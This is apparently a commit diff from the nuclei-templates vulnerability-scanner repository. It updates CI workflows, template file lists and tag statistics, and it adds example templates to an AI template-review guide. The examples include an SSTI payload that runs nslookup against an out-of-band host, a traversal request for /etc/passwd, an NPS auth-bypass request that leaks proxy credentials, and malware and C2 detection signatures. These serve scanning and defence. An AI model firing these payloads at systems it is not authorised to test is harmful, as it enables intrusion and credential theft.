Update printers-info-leak template with improved metadata and structure

- Added proper impact and remediation sections - Enhanced description with PJL context - Added vendor and product metadata fields - Added shodan-query for better discoverability - Added pjl tag for better categorization - Added additional reference for PJL documentation - Enhanced template structure following review guidelines
fix: update printer info leak template to print more context
2026-11-07 08:36:19 -10:00 · 2025-07-15 18:28:02 +04:00 · 2025-07-14 18:03:09 +02:00 · 2025-07-04 00:26:58 +00:00 · 2025-07-03 11:52:37 +00:00 · 2025-07-03 11:52:32 +00:00
3595 changed files with 26006 additions and 19915 deletions
@@ -1,9 +1,9 @@
 name: 🤖 issue/pr assignment
 on:
-  pull_request:
-    types: [opened]
-    branches: 
-      - main
+#  pull_request:
+#    types: [opened]
+#    branches: 
+#      - main
  issues:
    types: [opened]

@@ -20,7 +20,7 @@ jobs:
        with:
          python-version: '3.10' # install the python version needed
      - run: pip install requests
-      - if: github.event_name == 'pull_request'
-        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
+#      - if: github.event_name == 'pull_request'
+#        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
      - if: github.event_name == 'issues'
        run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
@@ -1,21 +0,0 @@
-name: 📑 Template-DB Indexer
-
-on:
-  push:
-    tags:
-      - '*'
-  workflow_dispatch:
-
-jobs:
-  index:
-    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    steps:
-      - uses: projectdiscovery/actions/generate/db-indexer@v1
-        with:
-          token: '${{ secrets.ACCESS_TOKEN }}'
-          mode: 'templates'
-          args: '-eft'
-        env:
-          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
-          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
@@ -11,7 +11,7 @@ jobs:
      - uses: actions/checkout@v4
      - uses: projectdiscovery/actions/setup/templateman@v1
        with:
-          token: '${{ secrets.ACCESS_TOKEN }}'
+          token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
      - run: tmc -mr -e -at <<< "$(pwd)"
      - uses: projectdiscovery/actions/setup/git@v1
      - uses: projectdiscovery/actions/commit@v1
@@ -80,4 +80,4 @@ jobs:
            })
        env:
          COMMENT: '${{ steps.check.outputs.comment }}'
-          GITHUB_TOKEN: '${{ secrets.ACCESS_TOKEN }}'
+          GITHUB_TOKEN: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
@@ -1,90 +1,11 @@
-code/audit/cis/ubuntu/ssh-hostbasedauth-disabled.yaml
-code/cves/2024/CVE-2024-10443.yaml
-http/cves/2017/CVE-2017-14942.yaml
-http/cves/2017/CVE-2017-8046.yaml
-http/cves/2018/CVE-2018-11133.yaml
-http/cves/2018/CVE-2018-12455.yaml
-http/cves/2018/CVE-2018-8024.yaml
-http/cves/2019/CVE-2019-13372.yaml
-http/cves/2019/CVE-2019-25141.yaml
-http/cves/2019/CVE-2019-9757.yaml
-http/cves/2019/CVE-2019-9762.yaml
-http/cves/2019/CVE-2019-9879.yaml
-http/cves/2020/CVE-2020-12262.yaml
-http/cves/2020/CVE-2020-13886.yaml
-http/cves/2020/CVE-2020-24285.yaml
-http/cves/2020/CVE-2020-26879.yaml
-http/cves/2020/CVE-2020-29047.yaml
-http/cves/2020/CVE-2020-35131.yaml
-http/cves/2020/CVE-2020-36728.yaml
-http/cves/2020/CVE-2020-5766.yaml
-http/cves/2021/CVE-2021-24522.yaml
-http/cves/2021/CVE-2021-25032.yaml
-http/cves/2021/CVE-2021-26599.yaml
-http/cves/2021/CVE-2021-27964.yaml
-http/cves/2021/CVE-2021-33558.yaml
-http/cves/2021/CVE-2021-34187.yaml
-http/cves/2021/CVE-2021-39341.yaml
-http/cves/2021/CVE-2021-40655.yaml
-http/cves/2022/CVE-2022-0783.yaml
-http/cves/2022/CVE-2022-1026.yaml
-http/cves/2022/CVE-2022-25061.yaml
-http/cves/2022/CVE-2022-37061.yaml
-http/cves/2023/CVE-2023-27637.yaml
-http/cves/2023/CVE-2023-27638.yaml
-http/cves/2023/CVE-2023-2986.yaml
-http/cves/2023/CVE-2023-30192.yaml
-http/cves/2023/CVE-2023-34990.yaml
-http/cves/2023/CVE-2023-3722.yaml
-http/cves/2023/CVE-2023-38879.yaml
-http/cves/2023/CVE-2023-38950.yaml
-http/cves/2023/CVE-2023-4136.yaml
-http/cves/2024/CVE-2024-0692.yaml
-http/cves/2024/CVE-2024-10571.yaml
-http/cves/2024/CVE-2024-22729.yaml
-http/cves/2024/CVE-2024-24328.yaml
-http/cves/2024/CVE-2024-24329.yaml
-http/cves/2024/CVE-2024-2667.yaml
-http/cves/2024/CVE-2024-30163.yaml
-http/cves/2024/CVE-2024-33559.yaml
-http/cves/2024/CVE-2024-4620.yaml
-http/cves/2024/CVE-2024-47073.yaml
-http/cves/2024/CVE-2024-51211.yaml
-http/cves/2024/CVE-2024-7399.yaml
-http/cves/2024/CVE-2024-9707.yaml
-http/cves/2024/CVE-2024-9916.yaml
-http/cves/2025/CVE-2025-0107.yaml
-http/cves/2025/CVE-2025-0674.yaml
-http/cves/2025/CVE-2025-20188.yaml
-http/cves/2025/CVE-2025-4008.yaml
-http/cves/2025/CVE-2025-4009.yaml
-http/cves/2025/CVE-2025-4322.yaml
-http/cves/2025/CVE-2025-47539.yaml
-http/cves/2025/CVE-2025-49113.yaml
-http/cves/2025/CVE-2025-5086.yaml
-http/default-logins/apc-nmc/apc-nmc-default-login.yaml
-http/exposed-panels/cisco/cisco-ise-admin-panel.yaml
-http/exposed-panels/fortirecorder-panel.yaml
-http/exposed-panels/mattermost-panel.yaml
-http/exposed-panels/nextcloudpi-panel.yaml
-http/exposed-panels/ngsurvey-panel.yaml
-http/exposed-panels/prestashop-admin-panel.yaml
-http/exposed-panels/usergate-ngfw-admin-panel.yaml
-http/exposed-panels/zoho/manageengine-exchangereporter.yaml
-http/exposures/apis/exposed-mcp-sse-server.yaml
-http/exposures/apis/traefik-api-enabled.yaml
-http/exposures/configs/starnet-dmb-bs-ftp-credentials-disclosure.yaml
-http/miscellaneous/assetlinks-detect.yaml
-http/miscellaneous/keybase-domain-owwnership-verification.yaml
-http/misconfiguration/apachespark-ui-exposed.yaml
-http/misconfiguration/nextcloudpi-dashboard.yaml
-http/misconfiguration/simatic-dashboard-exposed.yaml
-http/technologies/topdesk-detect.yaml
+http/cves/2025/CVE-2025-47812.yaml
+http/cves/2025/CVE-2025-47813.yaml
+http/exposed-panels/google-adk-api-exposed.yaml
+http/exposed-panels/google-adk-webui-exposed.yaml
+http/exposed-panels/wingftp-panel.yaml
 http/technologies/wordpress/plugins/blocksy-companion.yaml
 http/technologies/wordpress/plugins/gosmtp.yaml
+http/technologies/wordpress/plugins/honeypot.yaml
 http/technologies/wordpress/plugins/pagelayer.yaml
 http/technologies/wordpress/plugins/siteseo.yaml
 http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
-http/technologies/wordpress/plugins/wordpress-plugin-detect.yaml
-http/technologies/wordpress/themes/wordpress-theme-detect.yaml
-passive/cves/2018/CVE-2018-17207.yaml
@@ -55,13 +55,14 @@ Don’t:
 After functional validation, check:

 - Template is in the correct folder, and filename matches `id`.
- `id` is unique, descriptive, and uses 2-3 keywords (e.g., `alumni-management-sqli.yaml`).
+- `id` is unique, descriptive, and uses 2-3 keywords (e.g., `alumni-management-sqli.yaml`). For CVE templates, the ID should be the CVE itself for example, CVE-2020-0796
 - `name` follows the format: `<Company> <Product> <Version> - <Vulnerability Class>` (e.g., `Adobe Coldfusion <=8.0.1 - Cross-Site Scripting`).
 - Fix capitalization, typos, or grammatical errors.
 - Update `tags`:
  - Add vendor names (e.g., `Atlassian` for Jira/Confluence).
  - Use `misconfig` for misconfigurations, `oss` for open-source CMS, `oast` for OAST templates, `intrusive` for file uploads or modifications.
  - For CVEs, include `cve` and `cveYYYY` (e.g., `cve2022`).
+  - Tags should not contain spaces
 - Use `metadata` for additional info (e.g., `verified: true`, Shodan/FOFA queries).
 - Ensure proper `references` (e.g., WordPress plugin links, vendor pages).
 - Maintain consistent template structure and remove unnecessary headers/parameters.
@@ -78,9 +79,387 @@ After functional validation, check:
 - Use the `epic` label for creative templates.
 - Do not share vulnerable URLs publicly on GitHub or Discord.

+#### Below are examples of existing YAML templates for each protocol, along with their paths. You can use them as references when reviewing templates for the corresponding protocols.
+
+=== dast/vulnerabilities/ssti/oob/erb-erubi-erubis-oob.yaml ===
+```
+id: erb-erubi-erubis-oob
+
+info:
+  name: Erb OR Erubi OR Erubis - Out of Band Template Injection
+  author: 0xAwali,DhiyaneshDK
+  severity: high
+  reference:
+    - https://rubygems.org/gems/erb
+    - https://rubygems.org/gems/erubis
+    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
+  metadata:
+    verified: true
+  tags: ssti,dast,oast,oob
+
+http:
+  - pre-condition:
+      - type: dsl
+        dsl:
+          - 'method == "GET"'
+
+    payloads:
+      injection:
+        - '<%25%3d(`nslookup+-type=SRV+{{interactsh-url}}`)%25>'
+
+    fuzzing:
+      - part: query
+        type: postfix
+        mode: single
+        fuzz:
+          - "{{injection}}"
+
+    matchers:
+      - type: dsl
+        name: request-matcher
+        dsl:
+          - "contains(interactsh_protocol,'dns')"
+          - "contains(interactsh_request,'srv')"
+        condition: and
+```
+
+=== http/vulnerabilities/nps/nps-auth-bypass.yaml ===
+```
+id: nps-auth-bypass
+
+info:
+  name: NPS - Authentication Bypass
+  author: SleepingBag945
+  severity: high
+  description: |
+    This will reveal all parameters configured on the NPS, including the account username and password of the proxy.
+  reference:
+    - https://mari0er.club/post/nps.html/
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"window.nps"
+  tags: nps,auth-bypass
+
+http:
+  - raw:
+      - |
+        POST /index/gettunnel HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        auth_key={{md5(unix_time())}}&timestamp={{unix_time()}}&offset=0&limit=10&type=socks5&client_id=&search=
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"VerifyKey":'
+          - 'Password":'
+          - 'Id":'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 200
+```
+
+=== http/cves/2021/CVE-2021-41291.yaml ===
+```
+id: CVE-2021-41291
+
+info:
+  name: ECOA Building Automation System - Directory Traversal Content Disclosure
+  author: gy741
+  severity: high
+  description: The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device
+  impact: |
+    An attacker can exploit this vulnerability to access sensitive files and directories, potentially exposing sensitive information.
+  remediation: |
+    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-41291
+    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php
+    - https://www.twcert.org.tw/en/cp-139-5140-6343c-2.html
+    - https://www.twcert.org.tw/tw/cp-132-5127-3cbd3-1.html
+    - https://github.com/ARPSyndicate/cvemon
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2021-41291
+    cwe-id: CWE-22
+    epss-score: 0.02626
+    epss-percentile: 0.90324
+    cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: ecoa
+    product: ecs_router_controller-ecs_firmware
+  tags: cve,cve2021,ecoa,lfi,traversal
+
+http:
+  - raw:
+      - |
+        GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0:"
+```
+
+=== code/windows/audit/minimum-password-age-zero.yaml ===
+```
+id: minimum-password-age-zero
+
+info:
+  name: Minimum Password Age Set to Zero
+  author: princechaddha
+  severity: medium
+  description: Checks if the minimum password age is set to zero, allowing immediate password changes and potential reuse.
+  impact: |
+    Allowing a password age of zero may lead to the rapid reuse of weak passwords, reducing account security.
+  remediation: |
+    Set a reasonable minimum password age to prevent users from reusing old passwords frequently.
+  tags: windows,password,policy,code,windows-audit
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - cmd
+    args:
+      - /c
+    pattern: "*.cmd"
+    source: |
+      net accounts
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Minimum password age (days):                          0"
+        negative: true
+
+      - type: word
+        words:
+          - "Minimum password age"
+```
+
+=== cloud/azure/postgresql/azure-postgresql-storage-autogrow-disabled.yaml ===
+```
+id: azure-postgresql-storage-autogrow-disabled
+info:
+  name: Azure PostgreSQL Storage Auto-Growth Disabled
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that Storage Auto-Growth feature is enabled for your production Azure PostgreSQL database servers. Storage auto-growth prevents your PostgreSQL servers from running out of storage and becoming read-only.
+  impact: |
+    Failing to enable Storage Auto-Growth can lead to PostgreSQL servers running out of space, becoming read-only, and disrupting database services.
+  remediation: |
+    Enable the Storage Auto-Growth feature on your Azure PostgreSQL servers to prevent potential disruptions and ensure continuous database operation.
+  reference:
+    - https://docs.microsoft.com/en-us/azure/postgresql/concepts-storage
+  tags: cloud,devops,azure,microsoft,postgresql,azure-cloud-config
+
+flow: |
+  code(1);
+  for (let ServerData of iterate(template.serverList)) {
+    ServerData = JSON.parse(ServerData);
+    set("name", ServerData.Name);
+    set("resourceGroup", ServerData.ResourceGroup);
+    code(2);
+  }
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      az postgres server list --output json --query '[*].{"Name":name,"ResourceGroup":resourceGroup}'
+
+    extractors:
+      - type: json
+        name: serverList
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      az postgres server show --name "$name" --resource-group "$resourceGroup" --output json --query 'storageProfile.storageAutogrow'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"Disabled"'
+
+    extractors:
+      - type: dsl
+        dsl:
+          - 'name + " in " + resourceGroup + " has Storage Auto-Growth disabled"'
+```
+
+=== ssl/c2/gozi-malware-c2.yaml ===
+```
+id: gozi-malware-c2
+
+info:
+  name: Gozi Malware C2 - Detect
+  author: pussycat0x
+  severity: info
+  description: |
+    Gozi is a banking Trojan that has been modified to include new obfuscation techniques, to evade detection. Previous breaches involving Gozi in the healthcare sector led to the compromise of data associated with 3.7 million patients costing $5.55 million.
+  reference: |
+    https://github.com/thehappydinoa/awesome-censys-queries#gozi-malware--
+  metadata:
+    verified: "true"
+    max-request: 1
+    censys-query: 'services.tls.certificates.leaf_data.issuer_dn: "C=XX, ST=1, L=1, O=1, OU=1, CN=\*"'
+  tags: ssl,tls,c2,ir,osint,malware,gozi
+ssl:
+  - address: "{{Host}}:{{Port}}"
+    matchers:
+      - type: word
+        part: issuer_dn
+        words:
+          - "CN=*, OU=1, O=1, L=1, ST=1, C=XX"
+
+    extractors:
+      - type: json
+        json:
+          - ".issuer_dn"
+```
+
+=== dns/mx-fingerprint.yaml ===
+```
+id: mx-fingerprint
+
+info:
+  name: MX Record Detection
+  author: pdteam
+  severity: info
+  description: An MX record was detected. MX records direct emails to a mail exchange server.
+  reference:
+    - https://www.cloudflare.com/learning/dns/dns-records/dns-mx-record/
+    - https://mxtoolbox.com/
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 1
+  tags: dns,mx
+
+dns:
+  - name: "{{FQDN}}"
+    type: MX
+    matchers:
+      - type: regex
+        part: answer
+        regex:
+          - "IN\tMX\\t(.+)$"
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "IN\tMX\t(.+)"
+```
+
+=== file/malware/shimrat-malware.yaml ===
+```
+id: shimrat-malware
+
+info:
+  name: ShimRat Malware - Detect
+  author: daffainfo
+  severity: info
+  reference: https://github.com/Yara-Rules/rules/blob/master/malware/RAT_Shim.yar
+  tags: malware,file
+file:
+  - extensions:
+      - all
+
+    matchers-condition: or
+    matchers:
+      - type: word
+        part: raw
+        words:
+          - ".dll"
+          - ".dat"
+          - "QWERTYUIOPLKJHG"
+          - "MNBVCXZLKJHGFDS"
+        condition: and
+
+      - type: word
+        part: raw
+        words:
+          - "Data$$00"
+          - "Data$$01%c%sData"
+        condition: and
+
+      - type: word
+        part: raw
+        words:
+          - "ping localhost -n 9 /c %s > nul"
+          - "Demo"
+          - "Win32App"
+          - "COMSPEC"
+          - "ShimMain"
+          - "NotifyShims"
+          - "GetHookAPIs"
+        condition: and
+```
+
+=== network/c2/7777botnet.yaml ===
+```
+id: 7777botnet-detect
+
+info:
+  name: 7777-Botnet - Detect
+  author: johnk3r
+  severity: info
+  reference:
+    - https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: 'hash:1357418825'
+  tags: network,c2,ir,osint,cti,darktrack,botnet,tcp
+
+tcp:
+  - inputs:
+      - data: "fffc01fffb1ffffa1f00500018fff0fffd01fffd03"
+        read: 2048
+
+    host:
+      - "{{Hostname}}"
+    port: 7777
+
+    matchers:
+      - type: word
+        part: data
+        words:
+          - "xlog"
+          - "in"
+        condition: and
+```
+
 ### Instructions for Comments

-Structure comments in two sections using GitHub Markdown:
-
-1. Required Fixes: List missing/incorrect elements as a checklist (e.g., `- [ ] Fix template ID to match filename`).
-2. Other Suggestions: Provide detailed recommendations based on the context.
+Think step by step and structure your comments in two sections using GitHub Markdown:
+- Required Fixes – List missing or incorrect elements as a checklist (e.g., - [ ] Fix template ID to match filename).
+- Other Suggestions – Provide contextual recommendations, but only include suggestions you are 100% confident about.
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3122 | dhiyaneshdk   |  1844 | http       |  8669 | info     |  4086 | file |   434 |
-| panel     |  1305 | daffainfo     |   868 | cloud      |   655 | high     |  2377 | dns  |    25 |
-| xss       |  1239 | princechaddha |   806 | file       |   434 | medium   |  2322 |      |       |
-| wordpress |  1143 | dwisiswant0   |   805 | dast       |   255 | critical |  1321 |      |       |
-| exposure  |  1084 | ritikchaddha  |   597 | workflows  |   202 | low      |   316 |      |       |
-| wp-plugin |  1002 | pussycat0x    |   504 | code       |   168 | unknown  |    53 |      |       |
-| osint     |   808 | pikpikcu      |   352 | network    |   140 |          |       |      |       |
-| tech      |   776 | pdteam        |   304 | javascript |    71 |          |       |      |       |
-| lfi       |   764 | ricardomaia   |   249 | ssl        |    38 |          |       |      |       |
-| misconfig |   739 | geeknik       |   235 | dns        |    22 |          |       |      |       |
+| cve       |  3225 | dhiyaneshdk   |  1866 | http       |  8825 | info     |  4118 | file |   435 |
+| panel     |  1327 | daffainfo     |   868 | cloud      |   657 | high     |  2423 | dns  |    26 |
+| xss       |  1246 | dwisiswant0   |   806 | file       |   435 | medium   |  2339 |      |       |
+| wordpress |  1168 | princechaddha |   806 | dast       |   255 | critical |  1391 |      |       |
+| exposure  |  1094 | ritikchaddha  |   633 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1023 | pussycat0x    |   519 | code       |   174 | unknown  |    54 |      |       |
+| osint     |   810 | pikpikcu      |   352 | network    |   141 |          |       |      |       |
+| tech      |   782 | pdteam        |   308 | javascript |    71 |          |       |      |       |
+| lfi       |   772 | pdresearch    |   251 | ssl        |    38 |          |       |      |       |
+| rce       |   770 | ricardomaia   |   249 | dns        |    23 |          |       |      |       |

-**832 directories, 11003 files**.
+**840 directories, 11171 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3122},{"name":"panel","count":1305},{"name":"xss","count":1239},{"name":"wordpress","count":1143},{"name":"exposure","count":1084},{"name":"wp-plugin","count":1002},{"name":"osint","count":808},{"name":"tech","count":776},{"name":"lfi","count":764},{"name":"misconfig","count":739},{"name":"devops","count":736},{"name":"rce","count":732},{"name":"cloud","count":694},{"name":"edb","count":598},{"name":"wp","count":554},{"name":"packetstorm","count":550},{"name":"wpscan","count":532},{"name":"cve2022","count":507},{"name":"cve2021","count":505},{"name":"cve2023","count":475},{"name":"sqli","count":472},{"name":"detect","count":466},{"name":"cve2024","count":443},{"name":"login","count":431},{"name":"authenticated","count":418},{"name":"unauth","count":415},{"name":"intrusive","count":376},{"name":"file","count":376},{"name":"kev","count":362},{"name":"oast","count":272},{"name":"default-login","count":263},{"name":"cve2020","count":261},{"name":"config","count":253},{"name":"token-spray","count":247},{"name":"microsoft","count":235},{"name":"top-200","count":235},{"name":"apache","count":234},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":215},{"name":"malware","count":213},{"name":"token","count":211},{"name":"azure","count":210},{"name":"osint-social","count":210},{"name":"","count":204},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":185},{"name":"auth-bypass","count":178},{"name":"cve2018","count":177},{"name":"iot","count":176},{"name":"amazon","count":175},{"name":"cve2019","count":173},{"name":"install","count":165},{"name":"keys","count":156},{"name":"redirect","count":156},{"name":"code","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":142},{"name":"tcp","count":139},{"name":"security","count":133},{"name":"files","count":124},{"name":"cms","count":123},{"name":"router","count":122},{"name":"cve2017","count":117},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":109},{"name":"disclosure","count":106},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"linux","count":86},{"name":"seclists","count":85},{"name":"local","count":81},{"name":"oss","count":80},{"name":"oracle","count":80},{"name":"takeover","count":80},{"name":"privesc","count":80},{"name":"fileupload","count":77},{"name":"js","count":75},{"name":"windows","count":72},{"name":"enum","count":71},{"name":"cve2025","count":71},{"name":"cisco","count":71},{"name":"windows-audit","count":70},{"name":"k8s","count":69},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":60},{"name":"cve2016","count":60},{"name":"atlassian","count":59},{"name":"vmware","count":57},{"name":"detection","count":57},{"name":"google","count":57},{"name":"c2","count":57},{"name":"audit","count":53},{"name":"file-upload","count":52},{"name":"dast","count":51},{"name":"deserialization","count":51},{"name":"logs","count":50},{"name":"cve2014","count":49},{"name":"php","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"generic","count":47},{"name":"traversal","count":47},{"name":"hackerone","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"aem","count":46},{"name":"cnvd","count":46},{"name":"ssti","count":46},{"name":"ssh","count":45},{"name":"aliyun","count":45},{"name":"osint-gaming","count":45},{"name":"injection","count":44},{"name":"jndi","count":44},{"name":"ssl","count":43},{"name":"misc","count":43},{"name":"oa","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"plugin","count":42},{"name":"fortinet","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"springboot","count":41},{"name":"listing","count":40},{"name":"ibm","count":40},{"name":"miscellaneous","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"cti","count":37},{"name":"info-leak","count":37},{"name":"jira","count":37},{"name":"dlink","count":36},{"name":"google-cloud-sql","count":36},{"name":"k8s-cluster-security","count":36},{"name":"osint-misc","count":35},{"name":"api","count":35},{"name":"wp-theme","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":33},{"name":"devsecops","count":33},{"name":"fuzz","count":33},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"dns","count":31},{"name":"xxe","count":31},{"name":"osint-tech","count":31},{"name":"osint-coding","count":30},{"name":"ec2","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"gke","count":29},{"name":"yonyou","count":28},{"name":"tomcat","count":28},{"name":"printer","count":28},{"name":"admin","count":28},{"name":"bestwebsoft","count":27},{"nLine truncated
+{"tags":[{"name":"cve","count":3225},{"name":"panel","count":1327},{"name":"xss","count":1246},{"name":"wordpress","count":1168},{"name":"exposure","count":1094},{"name":"wp-plugin","count":1023},{"name":"osint","count":810},{"name":"tech","count":782},{"name":"lfi","count":772},{"name":"rce","count":770},{"name":"misconfig","count":747},{"name":"devops","count":738},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":573},{"name":"packetstorm","count":552},{"name":"wpscan","count":534},{"name":"cve2021","count":513},{"name":"cve2022","count":512},{"name":"cve2023","count":488},{"name":"detect","count":486},{"name":"sqli","count":484},{"name":"cve2024","count":462},{"name":"login","count":446},{"name":"unauth","count":431},{"name":"authenticated","count":422},{"name":"kev","count":405},{"name":"intrusive","count":398},{"name":"file","count":377},{"name":"oast","count":276},{"name":"default-login","count":275},{"name":"cve2020","count":274},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":216},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":210},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"auth-bypass","count":183},{"name":"cve2019","count":182},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"code","count":157},{"name":"keys","count":156},{"name":"redirect","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":139},{"name":"security","count":133},{"name":"router","count":130},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"cve2025","count":94},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":83},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"local","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":78},{"name":"js","count":75},{"name":"windows","count":74},{"name":"cisco","count":73},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"windows-audit","count":70},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"file-upload","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"google","count":57},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":53},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"php","count":50},{"name":"logs","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":47},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"misc","count":46},{"name":"ssti","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"plugin","count":44},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"info-leak","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"cti","count":37},{"name":"api","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":33},{"name":"fuzz","count":33},{"name":"dns","count":32},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"osint-tech","count":31},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"prestashop","count":29},{"name":"tomcat","count":28},{"name":"proxy","count":28},{"namLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3122 | dhiyaneshdk   |  1844 | http       |  8669 | info     |  4086 | file |   434 |
-| panel     |  1305 | daffainfo     |   868 | cloud      |   655 | high     |  2377 | dns  |    25 |
-| xss       |  1239 | princechaddha |   806 | file       |   434 | medium   |  2322 |      |       |
-| wordpress |  1143 | dwisiswant0   |   805 | dast       |   255 | critical |  1321 |      |       |
-| exposure  |  1084 | ritikchaddha  |   597 | workflows  |   202 | low      |   316 |      |       |
-| wp-plugin |  1002 | pussycat0x    |   504 | code       |   168 | unknown  |    53 |      |       |
-| osint     |   808 | pikpikcu      |   352 | network    |   140 |          |       |      |       |
